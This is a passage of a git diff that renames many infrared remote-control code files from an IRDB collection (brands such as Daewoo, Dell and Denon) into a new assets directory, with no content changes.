assets/resources/infrared/optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,230.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,230.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,230.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,230.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,231.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,231.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,231.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,231.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DLO/HomeDock/238,135.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DLO/HomeDock/238,135.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DLO/HomeDock/238,135.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DLO/HomeDock/238,135.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DVDO/Scaler/0,45.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Scaler/0,45.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DVDO/Scaler/0,45.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Scaler/0,45.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DVDO/Scaler/132,32.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Scaler/132,32.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DVDO/Scaler/132,32.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Scaler/132,32.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DVDO/Video Processor/0,45.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Video Processor/0,45.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DVDO/Video Processor/0,45.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Video Processor/0,45.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DVDO/Video Processor/132,32.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Video Processor/132,32.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DVDO/Video Processor/132,32.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Video Processor/132,32.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Da Lite/Screen/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Da Lite/Screen/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Da Lite/Screen/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Da Lite/Screen/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/TV/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/TV/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/TV/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/TV/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/TV/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/TV/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/TV/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/TV/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/TV/6,6.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/TV/6,6.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/TV/6,6.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/TV/6,6.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/VCR/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/VCR/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/VCR/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/VCR/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dell/TV/0,28.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dell/TV/0,28.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dell/TV/0,28.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dell/TV/0,28.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dell/Video Projector/79,80.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dell/Video Projector/79,80.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dell/Video Projector/79,80.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dell/Video Projector/79,80.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/AV Processor/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/AV Processor/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/AV Processor/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/AV Processor/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/AV Processor/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/AV Processor/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/AV Processor/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/AV Processor/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/AV Processor/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/AV Processor/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/AV Processor/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/AV Processor/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Amplifier/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Amplifier/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Amplifier/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Amplifier/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Amplifier/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Amplifier/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Amplifier/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Amplifier/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Amplifier/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Amplifier/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir 